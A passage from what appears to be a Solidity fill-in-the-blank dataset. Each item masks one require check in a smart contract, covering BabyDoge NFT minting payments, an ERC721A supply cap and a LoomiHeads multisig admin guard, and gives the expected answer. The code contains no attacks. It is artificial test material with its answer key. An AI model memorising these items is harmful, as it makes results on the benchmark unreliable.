* @param _babyDogeCollector Collector of BabyDoge tokens #2
* @param _stableMintPrice Price to mint token and pay with Stable coins
* @param _toStableCollectorShare Share (in basis points, where 10000 = 100%) of BabyDoge payment, which will go to stableCollector
* @dev Can be called only by the Owner
*/
function setMintSettings(
address _stableCollector,
address _babyDogeCollector,
address _targetStableCoin,
uint80 _stableMintPrice,
uint16 _toStableCollectorShare
) external onlyOwner {
}
/*
* @notice Updates validator address
* @param _validator Address of Mint orders' signer
* @dev Can be called only by the Owner
*/
function setValidator(address _validator) external onlyOwner {
}
/**
* @param _stableCoin Stable Coin address
* @return Is Stable Coin approved to be used as payment token?
*/
function isApprovedStableCoin(address _stableCoin) public view returns (bool) {
}
/**
* @param _token ERC20 token address
* @return Is ERC20 token approved to be used as payment token?
*/
function isApprovedTokenIn(address _token) public view returns (bool) {
}
/**
* @return List of approved Stable Coins
*/
function getApprovedStableCoins() public view returns (address[] memory) {
}
/**
* @return List of approved custom ERC20 tokens IN
*/
function getApprovedTokensIn() public view returns (address[] memory) {
}
/**
* @return List of ALL tokens that can be used as tokensIn
*/
function getMintPrices() external view returns (TokenMintPrice[] memory) {
}
/**
* @return Mint price in custom ERC20 tokens
*/
function customTokenMintPrice(address token) public view returns(uint256) {
}
/**
* @return Mint price in BabyDoge tokens
*/
function babyDogeMintPrice() public view returns(uint256) {
}
/**
* @return Mint price in BNB
*/
function bnbMintPrice() public view returns(uint256) {
}
/*
* @notice Built hash for mint order
* @param nftContract NFT contract address
* @param account Future owner address
* @param tokenId Token ID index
* @param individualURI Individual token URI
* @param deadline Deadline, until which order is valid
* @dev May be used on off-chain to build order hash
*/
function buildMintHash(
address nftContract,
address account,
uint256 tokenId,
string calldata individualURI,
uint256 deadline
) public view returns (bytes32){
}
/**
* @return path ERC20 token swap path [Token -> WBNB -> targetStableCoin]
*/
function _getTokenSwapPath(address token) private view returns(address[] memory path) {
}
/**
* @return Mint price in custom ERC20 tokens
*/
function _getTokenMintPrice(address[] memory path) internal view returns(uint256) {
}
/**
* @notice Calculates mint price of single NFT for specific stablecoin
* @param token Stablecoin address
* @return mintPrice Mint price stablecoins to mint single NFT
*/
function _getStableCoinMintPrice(address token) internal view returns (uint256 mintPrice) {
}
}
| adminShare+partnerShare<=10_000,"Invalid shares amounts" | 260,159 | adminShare+partnerShare<=10_000 |
"Already removed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import { OptimizedFeeList } from "./libraries/OptimizedFeeList.sol";
import "./interfaces/IRouter.sol";
import "./interfaces/IMintable.sol";
import "./SafeOwnable.sol";
// @title Mints NFT tokens in exchange for BabyDoge, BNB or approved stable coins.
// `stableCollector` collects BNB and Stable coins.
// BabyDoge payment is split in 2 parts:
// 1st part is swapped to `targetStableCoin`,
// 2nd part is transferred directly to `babyDogeCollector`
// Owner sets stable coins, that are allowed to be used as payment tokens.
// Owner sets custom Partners' ERC20 tokens, that will be allowed to be used as payment tokens.
// Partner token payment may be split into 3 shares
// 1) admin share - will be swapped to `targetStableCoin`
// 2) partner share - will be transferred directly to partner wallet
// 3) burn share - will be transferred directly to DEAD wallet (burned)
// BNB, BabyDoge and Partners';' tokens prices are dynamically generated based on current BNB/BabyDoge prices
// Mint should be approved by `validator`.
// Owner sets validator.
contract MintManager is EIP712, SafeOwnable, ReentrancyGuard {
using EnumerableSet for EnumerableSet.AddressSet;
using OptimizedFeeList for OptimizedFeeList.FeesList;
using SafeERC20 for IERC20;
/* An ECDSA signature. */
struct Sig {
/* v parameter */
uint8 v;
/* r parameter */
bytes32 r;
/* s parameter */
bytes32 s;
}
struct MintData {
IMintable nftContract;
uint256 tokenId;
string individualURI;
uint256 deadline;
Sig sig;
}
struct TokenInData {
address partnerWallet;
uint16 adminShare;
uint16 partnerShare;
uint8 stableCoinOnlyDecimals;
}
// struct for view function
struct TokenMintPrice {
address token;
uint256 mintPrice;
}
bytes32 public constant MINT_TYPEHASH = keccak256("Mint(address nftContract,address account,uint256 tokenId,string individualURI,uint256 deadline)");
address private constant DEAD_WALLET = 0x000000000000000000000000000000000000dEaD;
IERC20 public immutable babyDogeToken;
IRouter public immutable router;
address private immutable WETH;
address public validator;
address public targetStableCoin;
address public stableCollector;
uint80 public stableMintPrice;
uint8 public targetStableCoinDecimals;
address public babyDogeCollector;
uint16 public toStableCollectorShare;
EnumerableSet.AddressSet private approvedStableCoins; // List of approved stableCoins that can be used for payment
EnumerableSet.AddressSet private approvedTokensIn; // List of approved Tokens that can be used for payment
// ERC20 token address => TokenInData. Contains distribution data for custom tokens IN
mapping(address => TokenInData) public tokensInData;
event StableCoinApproved(address stableCoin, bool isApproved);
event TokenInSet(
address indexed token,
uint16 adminShare,
uint16 partnerShare,
address partnerWallet
);
event TokenInRemoved(address indexed token);
event MintSettingsUpdate(
address stableCollector,
uint80 stableMintPrice,
uint16 toStableCollectorShare,
address babyDogeCollector,
address targetStableCoin
);
event ValidatorUpdated(address);
/*
* @param _babyDogeToken BabyDoge token address
* @param _stableCollector Collector of BNB and Stable Coins fees
* @param _babyDogeCollector Address, which will collect BabyDoge fees without swapping
* @param _targetStableCoin StableCoin, to which portion of BayDoge tokens will be swapped
* @param _router Router address
* @param paymentStableCoins List of payment stable coins to be initially approved as payment tokens
* @param _stableMintPrice Mint price in stable coins
* @param _toStableCollectorShare Mint price in BabyDoge tokens
* @param _validator Validator address
*/
constructor(
address _babyDogeToken,
address _stableCollector,
address _babyDogeCollector,
address _targetStableCoin,
address _router,
address[] memory paymentStableCoins,
uint80 _stableMintPrice,
uint16 _toStableCollectorShare,
address _validator
) EIP712("MintManager", "1") {
}
/*
* @notice Mints token with approved token ID and token URI
* @param paymentToken Payment token address. Any address for BNB payment
* @param mintData Array of mint data
*** nftContract NFT contract address
*** tokenId Token ID index
*** deadline Deadline, till which the signature is valid
*** sig Signature, that approves MintData
* @dev Signature must be generated by the validator
* @dev msg.value Should be slightly higher than actual `bnbMintPrice` just in case. Leftover will be returned
* @dev Signature must be generated by the validator
*/
function mint (
address paymentToken,
MintData[] calldata mintData
) external payable nonReentrant {
}
/*
* @notice Allows stable coin to be used as payment token
* @param _stableCoin Stable coin address
* @param _approved `true` - allow stable coin to be used as payment token. `false` - forbid
* @dev Can be called only by the Owner
*/
function approveStableCoin(address _stableCoin, bool _approved) external onlyOwner {
}
/*
* @notice Allows ERC20 token to be used as payment token / Modifies existing ERC20 custom token data
* @param token ERC20 token to be approved as TokenIn
* @param adminShare Admin share in basis points, where 10 000 = 100%
* @param partnerShare Partners share in basis points, where 10 000 = 100%
* The rest will be burned
* @param partnerWallet Address destination of partners share
* @dev Can be called only by the Owner
*/
function setTokenIn(
address token,
uint16 adminShare,
uint16 partnerShare,
address partnerWallet
) external onlyOwner {
}
/*
* @notice Allows ERC20 token to be used as payment token
* @param token ERC20 token to be approved as TokenIn
* @dev Can be called only by the Owner
*/
function removeTokenIn(address token) external onlyOwner {
require(<FILL_ME>)
delete tokensInData[token];
emit TokenInRemoved(token);
}
/*
* @notice Updates Mint settings (prices and payment receivers)
* @param _stableCollector Collector of BNB
* @param _babyDogeCollector Collector of BabyDoge tokens #2
* @param _stableMintPrice Price to mint token and pay with Stable coins
* @param _toStableCollectorShare Share (in basis points, where 10000 = 100%) of BabyDoge payment, which will go to stableCollector
* @dev Can be called only by the Owner
*/
function setMintSettings(
address _stableCollector,
address _babyDogeCollector,
address _targetStableCoin,
uint80 _stableMintPrice,
uint16 _toStableCollectorShare
) external onlyOwner {
}
/*
* @notice Updates validator address
* @param _validator Address of Mint orders' signer
* @dev Can be called only by the Owner
*/
function setValidator(address _validator) external onlyOwner {
}
/**
* @param _stableCoin Stable Coin address
* @return Is Stable Coin approved to be used as payment token?
*/
function isApprovedStableCoin(address _stableCoin) public view returns (bool) {
}
/**
* @param _token ERC20 token address
* @return Is ERC20 token approved to be used as payment token?
*/
function isApprovedTokenIn(address _token) public view returns (bool) {
}
/**
* @return List of approved Stable Coins
*/
function getApprovedStableCoins() public view returns (address[] memory) {
}
/**
* @return List of approved custom ERC20 tokens IN
*/
function getApprovedTokensIn() public view returns (address[] memory) {
}
/**
* @return List of ALL tokens that can be used as tokensIn
*/
function getMintPrices() external view returns (TokenMintPrice[] memory) {
}
/**
* @return Mint price in custom ERC20 tokens
*/
function customTokenMintPrice(address token) public view returns(uint256) {
}
/**
* @return Mint price in BabyDoge tokens
*/
function babyDogeMintPrice() public view returns(uint256) {
}
/**
* @return Mint price in BNB
*/
function bnbMintPrice() public view returns(uint256) {
}
/*
* @notice Built hash for mint order
* @param nftContract NFT contract address
* @param account Future owner address
* @param tokenId Token ID index
* @param individualURI Individual token URI
* @param deadline Deadline, until which order is valid
* @dev May be used on off-chain to build order hash
*/
function buildMintHash(
address nftContract,
address account,
uint256 tokenId,
string calldata individualURI,
uint256 deadline
) public view returns (bytes32){
}
/**
* @return path ERC20 token swap path [Token -> WBNB -> targetStableCoin]
*/
function _getTokenSwapPath(address token) private view returns(address[] memory path) {
}
/**
* @return Mint price in custom ERC20 tokens
*/
function _getTokenMintPrice(address[] memory path) internal view returns(uint256) {
}
/**
* @notice Calculates mint price of single NFT for specific stablecoin
* @param token Stablecoin address
* @return mintPrice Mint price stablecoins to mint single NFT
*/
function _getStableCoinMintPrice(address token) internal view returns (uint256 mintPrice) {
}
}
| approvedTokensIn.remove(token),"Already removed" | 260,159 | approvedTokensIn.remove(token) |
"invalid address" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import { OptimizedFeeList } from "./libraries/OptimizedFeeList.sol";
import "./interfaces/IRouter.sol";
import "./interfaces/IMintable.sol";
import "./SafeOwnable.sol";
// @title Mints NFT tokens in exchange for BabyDoge, BNB or approved stable coins.
// `stableCollector` collects BNB and Stable coins.
// BabyDoge payment is split in 2 parts:
// 1st part is swapped to `targetStableCoin`,
// 2nd part is transferred directly to `babyDogeCollector`
// Owner sets stable coins, that are allowed to be used as payment tokens.
// Owner sets custom Partners' ERC20 tokens, that will be allowed to be used as payment tokens.
// Partner token payment may be split into 3 shares
// 1) admin share - will be swapped to `targetStableCoin`
// 2) partner share - will be transferred directly to partner wallet
// 3) burn share - will be transferred directly to DEAD wallet (burned)
// BNB, BabyDoge and Partners';' tokens prices are dynamically generated based on current BNB/BabyDoge prices
// Mint should be approved by `validator`.
// Owner sets validator.
contract MintManager is EIP712, SafeOwnable, ReentrancyGuard {
using EnumerableSet for EnumerableSet.AddressSet;
using OptimizedFeeList for OptimizedFeeList.FeesList;
using SafeERC20 for IERC20;
/* An ECDSA signature. */
struct Sig {
/* v parameter */
uint8 v;
/* r parameter */
bytes32 r;
/* s parameter */
bytes32 s;
}
struct MintData {
IMintable nftContract;
uint256 tokenId;
string individualURI;
uint256 deadline;
Sig sig;
}
struct TokenInData {
address partnerWallet;
uint16 adminShare;
uint16 partnerShare;
uint8 stableCoinOnlyDecimals;
}
// struct for view function
struct TokenMintPrice {
address token;
uint256 mintPrice;
}
bytes32 public constant MINT_TYPEHASH = keccak256("Mint(address nftContract,address account,uint256 tokenId,string individualURI,uint256 deadline)");
address private constant DEAD_WALLET = 0x000000000000000000000000000000000000dEaD;
IERC20 public immutable babyDogeToken;
IRouter public immutable router;
address private immutable WETH;
address public validator;
address public targetStableCoin;
address public stableCollector;
uint80 public stableMintPrice;
uint8 public targetStableCoinDecimals;
address public babyDogeCollector;
uint16 public toStableCollectorShare;
EnumerableSet.AddressSet private approvedStableCoins; // List of approved stableCoins that can be used for payment
EnumerableSet.AddressSet private approvedTokensIn; // List of approved Tokens that can be used for payment
// ERC20 token address => TokenInData. Contains distribution data for custom tokens IN
mapping(address => TokenInData) public tokensInData;
event StableCoinApproved(address stableCoin, bool isApproved);
event TokenInSet(
address indexed token,
uint16 adminShare,
uint16 partnerShare,
address partnerWallet
);
event TokenInRemoved(address indexed token);
event MintSettingsUpdate(
address stableCollector,
uint80 stableMintPrice,
uint16 toStableCollectorShare,
address babyDogeCollector,
address targetStableCoin
);
event ValidatorUpdated(address);
/*
* @param _babyDogeToken BabyDoge token address
* @param _stableCollector Collector of BNB and Stable Coins fees
* @param _babyDogeCollector Address, which will collect BabyDoge fees without swapping
* @param _targetStableCoin StableCoin, to which portion of BayDoge tokens will be swapped
* @param _router Router address
* @param paymentStableCoins List of payment stable coins to be initially approved as payment tokens
* @param _stableMintPrice Mint price in stable coins
* @param _toStableCollectorShare Mint price in BabyDoge tokens
* @param _validator Validator address
*/
constructor(
address _babyDogeToken,
address _stableCollector,
address _babyDogeCollector,
address _targetStableCoin,
address _router,
address[] memory paymentStableCoins,
uint80 _stableMintPrice,
uint16 _toStableCollectorShare,
address _validator
) EIP712("MintManager", "1") {
}
/*
* @notice Mints token with approved token ID and token URI
* @param paymentToken Payment token address. Any address for BNB payment
* @param mintData Array of mint data
*** nftContract NFT contract address
*** tokenId Token ID index
*** deadline Deadline, till which the signature is valid
*** sig Signature, that approves MintData
* @dev Signature must be generated by the validator
* @dev msg.value Should be slightly higher than actual `bnbMintPrice` just in case. Leftover will be returned
* @dev Signature must be generated by the validator
*/
function mint (
address paymentToken,
MintData[] calldata mintData
) external payable nonReentrant {
}
/*
* @notice Allows stable coin to be used as payment token
* @param _stableCoin Stable coin address
* @param _approved `true` - allow stable coin to be used as payment token. `false` - forbid
* @dev Can be called only by the Owner
*/
function approveStableCoin(address _stableCoin, bool _approved) external onlyOwner {
}
/*
* @notice Allows ERC20 token to be used as payment token / Modifies existing ERC20 custom token data
* @param token ERC20 token to be approved as TokenIn
* @param adminShare Admin share in basis points, where 10 000 = 100%
* @param partnerShare Partners share in basis points, where 10 000 = 100%
* The rest will be burned
* @param partnerWallet Address destination of partners share
* @dev Can be called only by the Owner
*/
function setTokenIn(
address token,
uint16 adminShare,
uint16 partnerShare,
address partnerWallet
) external onlyOwner {
}
/*
* @notice Allows ERC20 token to be used as payment token
* @param token ERC20 token to be approved as TokenIn
* @dev Can be called only by the Owner
*/
function removeTokenIn(address token) external onlyOwner {
}
/*
* @notice Updates Mint settings (prices and payment receivers)
* @param _stableCollector Collector of BNB
* @param _babyDogeCollector Collector of BabyDoge tokens #2
* @param _stableMintPrice Price to mint token and pay with Stable coins
* @param _toStableCollectorShare Share (in basis points, where 10000 = 100%) of BabyDoge payment, which will go to stableCollector
* @dev Can be called only by the Owner
*/
function setMintSettings(
address _stableCollector,
address _babyDogeCollector,
address _targetStableCoin,
uint80 _stableMintPrice,
uint16 _toStableCollectorShare
) external onlyOwner {
require(<FILL_ME>)
require(_stableMintPrice > 0, "Invalid mint prices");
require(_toStableCollectorShare > 0 && _toStableCollectorShare <= 10_000, "Invalid share");
stableCollector = _stableCollector;
babyDogeCollector = _babyDogeCollector;
targetStableCoin = _targetStableCoin;
targetStableCoinDecimals = IERC20Metadata(_targetStableCoin).decimals();
stableMintPrice = _stableMintPrice;
toStableCollectorShare = _toStableCollectorShare;
emit MintSettingsUpdate(
_stableCollector,
_stableMintPrice,
_toStableCollectorShare,
_babyDogeCollector,
_targetStableCoin
);
}
/*
* @notice Updates validator address
* @param _validator Address of Mint orders' signer
* @dev Can be called only by the Owner
*/
function setValidator(address _validator) external onlyOwner {
}
/**
* @param _stableCoin Stable Coin address
* @return Is Stable Coin approved to be used as payment token?
*/
function isApprovedStableCoin(address _stableCoin) public view returns (bool) {
}
/**
* @param _token ERC20 token address
* @return Is ERC20 token approved to be used as payment token?
*/
function isApprovedTokenIn(address _token) public view returns (bool) {
}
/**
* @return List of approved Stable Coins
*/
function getApprovedStableCoins() public view returns (address[] memory) {
}
/**
* @return List of approved custom ERC20 tokens IN
*/
function getApprovedTokensIn() public view returns (address[] memory) {
}
/**
* @return List of ALL tokens that can be used as tokensIn
*/
function getMintPrices() external view returns (TokenMintPrice[] memory) {
}
/**
* @return Mint price in custom ERC20 tokens
*/
function customTokenMintPrice(address token) public view returns(uint256) {
}
/**
* @return Mint price in BabyDoge tokens
*/
function babyDogeMintPrice() public view returns(uint256) {
}
/**
* @return Mint price in BNB
*/
function bnbMintPrice() public view returns(uint256) {
}
/*
* @notice Built hash for mint order
* @param nftContract NFT contract address
* @param account Future owner address
* @param tokenId Token ID index
* @param individualURI Individual token URI
* @param deadline Deadline, until which order is valid
* @dev May be used on off-chain to build order hash
*/
function buildMintHash(
address nftContract,
address account,
uint256 tokenId,
string calldata individualURI,
uint256 deadline
) public view returns (bytes32){
}
/**
* @return path ERC20 token swap path [Token -> WBNB -> targetStableCoin]
*/
function _getTokenSwapPath(address token) private view returns(address[] memory path) {
}
/**
* @return Mint price in custom ERC20 tokens
*/
function _getTokenMintPrice(address[] memory path) internal view returns(uint256) {
}
/**
* @notice Calculates mint price of single NFT for specific stablecoin
* @param token Stablecoin address
* @return mintPrice Mint price stablecoins to mint single NFT
*/
function _getStableCoinMintPrice(address token) internal view returns (uint256 mintPrice) {
}
}
| address(0)!=_stableCollector&&address(0)!=_targetStableCoin&&(address(0)!=_babyDogeCollector||_toStableCollectorShare==10_000),"invalid address" | 260,159 | address(0)!=_stableCollector&&address(0)!=_targetStableCoin&&(address(0)!=_babyDogeCollector||_toStableCollectorShare==10_000) |
"no supply left" | // contracts/Token.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/*
Ownable is used here only for implementing the interface required by some marketplaces
Use AccessControl for controlling access
*/
contract Token is ERC721A, Pausable, AccessControl, Ownable {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string public baseURI;
uint64 public totalTokens;
uint64 public tokenReserve;
event Mint(address indexed _to, uint256 indexed _tokenId, uint256 _setId, uint256 _option);
event ChangeTotalTokens(uint64 _totalTokens);
event ChangeTokenReserve(uint64 _tokenReserve);
event ChangeBaseURI(string _baseURI);
constructor(
string memory _tokenName,
string memory _tokenSymbol,
string memory _uri,
uint64 _totalTokens,
uint32 _tokenReserve
) ERC721A(_tokenName, _tokenSymbol) {
}
function setAdmin(address _newAdmin) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setTotalTokens(uint64 _totalTokens) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setTokenReserve(uint64 _tokenReserve) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setBaseURI(string calldata _uri) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function addMinter(address _minter) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _baseURI() internal override view returns (string memory) {
}
function mint(address _owner, uint256 _amount, uint256 _setId, uint256[] calldata _options) external onlyRole(MINTER_ROLE) {
uint256 oldTotalSupply = totalSupply();
require(<FILL_ME>)
require(_amount == _options.length, "not enough options");
_safeMint(_owner, _amount);
_emitMintEvents(_owner, oldTotalSupply, _amount, _setId, _options);
}
function minterMint(address _owner, uint256 _amount, uint256 _setId, uint256[] calldata _options) external onlyRole(MINTER_ROLE) {
}
function pause() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function unPause() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function adminBurn(uint256 _tokenId) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function burn(uint256 _tokenId) external {
}
function _beforeTokenTransfers(
address from,
address to,
uint256 tokenId,
uint256 quantity
) internal virtual override(ERC721A) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, AccessControl) returns (bool) {
}
function _emitMintEvents(address _to, uint256 _startTokenId, uint256 _amount, uint256 _setId, uint256[] calldata _options) internal {
}
}
| oldTotalSupply+_amount<=totalTokens-tokenReserve,"no supply left" | 260,199 | oldTotalSupply+_amount<=totalTokens-tokenReserve |
"no supply left" | // contracts/Token.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/*
Ownable is used here only for implementing the interface required by some marketplaces
Use AccessControl for controlling access
*/
contract Token is ERC721A, Pausable, AccessControl, Ownable {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string public baseURI;
uint64 public totalTokens;
uint64 public tokenReserve;
event Mint(address indexed _to, uint256 indexed _tokenId, uint256 _setId, uint256 _option);
event ChangeTotalTokens(uint64 _totalTokens);
event ChangeTokenReserve(uint64 _tokenReserve);
event ChangeBaseURI(string _baseURI);
constructor(
string memory _tokenName,
string memory _tokenSymbol,
string memory _uri,
uint64 _totalTokens,
uint32 _tokenReserve
) ERC721A(_tokenName, _tokenSymbol) {
}
function setAdmin(address _newAdmin) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setTotalTokens(uint64 _totalTokens) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setTokenReserve(uint64 _tokenReserve) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setBaseURI(string calldata _uri) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function addMinter(address _minter) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _baseURI() internal override view returns (string memory) {
}
function mint(address _owner, uint256 _amount, uint256 _setId, uint256[] calldata _options) external onlyRole(MINTER_ROLE) {
}
function minterMint(address _owner, uint256 _amount, uint256 _setId, uint256[] calldata _options) external onlyRole(MINTER_ROLE) {
uint256 oldTotalSupply = totalSupply();
require(<FILL_ME>)
require(_amount == _options.length, "not enough options");
_safeMint(_owner, _amount);
_emitMintEvents(_owner, oldTotalSupply, _amount, _setId, _options);
}
function pause() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function unPause() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function adminBurn(uint256 _tokenId) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function burn(uint256 _tokenId) external {
}
function _beforeTokenTransfers(
address from,
address to,
uint256 tokenId,
uint256 quantity
) internal virtual override(ERC721A) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, AccessControl) returns (bool) {
}
function _emitMintEvents(address _to, uint256 _startTokenId, uint256 _amount, uint256 _setId, uint256[] calldata _options) internal {
}
}
| oldTotalSupply+_amount<=totalTokens,"no supply left" | 260,199 | oldTotalSupply+_amount<=totalTokens |
"Not Admin" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
██╗░░░░░░█████╗░░█████╗░███╗░░░███╗██╗ ██╗░░██╗███████╗░█████╗░██████╗░░██████╗
██║░░░░░██╔══██╗██╔══██╗████╗░████║██║ ██║░░██║██╔════╝██╔══██╗██╔══██╗██╔════╝
██║░░░░░██║░░██║██║░░██║██╔████╔██║██║ ███████║█████╗░░███████║██║░░██║╚█████╗░
██║░░░░░██║░░██║██║░░██║██║╚██╔╝██║██║ ██╔══██║██╔══╝░░██╔══██║██║░░██║░╚═══██╗
███████╗╚█████╔╝╚█████╔╝██║░╚═╝░██║██║ ██║░░██║███████╗██║░░██║██████╔╝██████╔╝
╚══════╝░╚════╝░░╚════╝░╚═╝░░░░░╚═╝╚═╝ ╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░╚═════╝░
*/
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract Multi_Sig is Ownable, ReentrancyGuard {
using Strings for uint256;
using ECDSA for bytes32;
/* Keeps track of which vote we're currently on.
Used in hashing an eth message and verifying signer
Prevents signature duplicates
*/
uint256 public ballotNumber;
//Store Admin Positions
mapping(address => bytes32) public adminMapping;
//Store information helping for voting
mapping(uint256 => ballotRound) public voteHelper;
//Store information for changing the address at payroll index
// mapping(uint256 => payeeHelper) internal payeeVoteMapping;
address[] public payroll = [
0x9376b1b8931f3F02B4119665079fb37C91d05464,
0x4D4658b37b1eaB41a7Dca14c7EF90A8835186853,
0x79FB7f4F1eD90DCC3a9a2200eFf843038C5DFcB5,
0x0c2f8b7D7A7C8979F8297c14d27e76E7909ac1c0];
//LoomiHeads main collection smart contract address
address public loomiHeads;
//Helper Bool
bool hasRan;
struct ballotRound{
mapping(address=>bool) hasVoted;
bool isApproved;
address newOwner;
}
constructor()
{
}
//MODIFIER check if sender == admin
modifier onlyAdmin() {
require(<FILL_ME>)
_;
}
//MODIFIER We can only set Loomiheads address one time
modifier onlyLetExecuteOnce(){
}
//Check if Caller is Loomiheads Contract
modifier onlyLoomiContract(){
}
//sets Loomi Address, can only be used once
function setLoomiAddress(address deployment_address) public onlyLetExecuteOnce onlyOwner nonReentrant{
}
/*
increments ballotNumber
only usable by LoomisContract
used when TransferOwnership is called in LoomiHeads collection
*/
function incrementBallotNumber() external onlyLoomiContract{
}
//used by LoomiHeads main collection contract
function isAdmin(address sender) external view returns(bool){
}
/*REPLACE ADMIN FUNCTION
@dev
----must have at least 3/4 admins agree upon this new change
---- loop through all the signatures and if >2 (at least 3) signatures match an admin
---- we ban the oldAdmin and add the newAdmin
----We also make sure that an admin can't manipulate the system and vote more than once using voteHelper
*/
function replaceAdmin(address adminToBan, address newAdmin, bytes[] memory _signatures) external onlyAdmin returns(bool){
}
//replaceAdmin Helper Function
function getIndexOfAdmin(address adminAddress) internal view returns(uint256){
}
/*
Check Multi Sig For Transfer Ownership
----must have at least 3/4 admins agree upon this new change
---- loop through all the signatures and if >2 (at least 3) signatures match an admin
---- we ban the oldAdmin and add the newAdmin
----We also have to make sure that an admin can't manipulate the system and vote more than once
*/
function approveTransferOwnership(address newOwner,bytes[] memory signatures) public returns(bool){
}
function isTransferOwnershipApproved() public view returns(bool){
}
function deposit() external payable returns(bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function getNewOwner() public view returns(address){
}
function withdraw() external payable returns(bool){
}
receive() external payable {
}
fallback() external payable {
}
}
| adminMapping[_msgSender()]==keccak256("admin"),"Not Admin" | 260,261 | adminMapping[_msgSender()]==keccak256("admin") |
"Already Ran" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
██╗░░░░░░█████╗░░█████╗░███╗░░░███╗██╗ ██╗░░██╗███████╗░█████╗░██████╗░░██████╗
██║░░░░░██╔══██╗██╔══██╗████╗░████║██║ ██║░░██║██╔════╝██╔══██╗██╔══██╗██╔════╝
██║░░░░░██║░░██║██║░░██║██╔████╔██║██║ ███████║█████╗░░███████║██║░░██║╚█████╗░
██║░░░░░██║░░██║██║░░██║██║╚██╔╝██║██║ ██╔══██║██╔══╝░░██╔══██║██║░░██║░╚═══██╗
███████╗╚█████╔╝╚█████╔╝██║░╚═╝░██║██║ ██║░░██║███████╗██║░░██║██████╔╝██████╔╝
╚══════╝░╚════╝░░╚════╝░╚═╝░░░░░╚═╝╚═╝ ╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░╚═════╝░
*/
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract Multi_Sig is Ownable, ReentrancyGuard {
using Strings for uint256;
using ECDSA for bytes32;
/* Keeps track of which vote we're currently on.
Used in hashing an eth message and verifying signer
Prevents signature duplicates
*/
uint256 public ballotNumber;
//Store Admin Positions
mapping(address => bytes32) public adminMapping;
//Store information helping for voting
mapping(uint256 => ballotRound) public voteHelper;
//Store information for changing the address at payroll index
// mapping(uint256 => payeeHelper) internal payeeVoteMapping;
address[] public payroll = [
0x9376b1b8931f3F02B4119665079fb37C91d05464,
0x4D4658b37b1eaB41a7Dca14c7EF90A8835186853,
0x79FB7f4F1eD90DCC3a9a2200eFf843038C5DFcB5,
0x0c2f8b7D7A7C8979F8297c14d27e76E7909ac1c0];
//LoomiHeads main collection smart contract address
address public loomiHeads;
//Helper Bool
bool hasRan;
struct ballotRound{
mapping(address=>bool) hasVoted;
bool isApproved;
address newOwner;
}
constructor()
{
}
//MODIFIER check if sender == admin
modifier onlyAdmin() {
}
//MODIFIER We can only set Loomiheads address one time
modifier onlyLetExecuteOnce(){
require(<FILL_ME>)
_;
}
//Check if Caller is Loomiheads Contract
modifier onlyLoomiContract(){
}
//sets Loomi Address, can only be used once
function setLoomiAddress(address deployment_address) public onlyLetExecuteOnce onlyOwner nonReentrant{
}
/*
increments ballotNumber
only usable by LoomisContract
used when TransferOwnership is called in LoomiHeads collection
*/
function incrementBallotNumber() external onlyLoomiContract{
}
//used by LoomiHeads main collection contract
function isAdmin(address sender) external view returns(bool){
}
/*REPLACE ADMIN FUNCTION
@dev
----must have at least 3/4 admins agree upon this new change
---- loop through all the signatures and if >2 (at least 3) signatures match an admin
---- we ban the oldAdmin and add the newAdmin
